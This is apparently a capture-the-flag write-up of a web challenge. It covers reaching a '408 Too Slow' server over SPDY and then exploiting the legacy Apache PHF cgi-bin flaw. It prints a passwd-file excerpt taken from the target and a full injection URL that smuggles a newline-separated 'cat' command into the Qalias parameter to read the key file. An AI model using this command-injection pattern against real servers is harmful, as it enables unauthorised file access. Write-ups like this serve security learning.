This challenge was very weird, in a wicked way.
I bet a lot of people didn't manage to solve this one, and simply skipped this.
We have some kind of webserver listening on port
5932 of a host. Trying to
GET anything using HTTP/1.0 or HTTP/1.1 won't succeed, because the server always returns
408 Too Slow.
Actually, as you can see in the RFC, 408 is
Request Timeout - The client did not produce a request within the time that the server was prepared to wait. The client MAY repeat the request without modifications at any later time.
So it's a custom message. Not only: the
Date and the
ETag are static and taken directly from this Wiki (HTTP Compression).
We then tried several compression algorithms (gzip, deflate, ...), but then suddenly realized that Google proposed an alternative for a faster web: SPDY.
Forcing Chromium to use SPDY even without SSL passing
--use-spdy=no-ssl to it, we get another funny message from the "server":
You are speedy enough, but not good enough
Bruteforcing some well-known files and dirs we noticed that every URL with
key in it makes the server return
Do you think I'm that slutty?, so "key" is filtered.
When asking for
cgi-bin/<PAYLOAD>, the server returns
Unable to access /cgi-bin/<PAYLOAD>.
So, let's look for old Apache cgi-bin vulns (the server says it is Apache/18.104.22.168, clearly spoofed, but an hint for this step).
Wow, we found this one about PHF!
Let's try it:
No one logged on.
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
Now it's easy:
pwn583.ddtek.biz:5932/cgi-bin/phf?Qalias=%0A/bin/cat%20/home/Tkf6zKZd/ke* and we get:
that's fast enough now go take a rest
That's the key! :)
Congratz to everyone in team Hanoiati from PoliMi, Milan, Italy.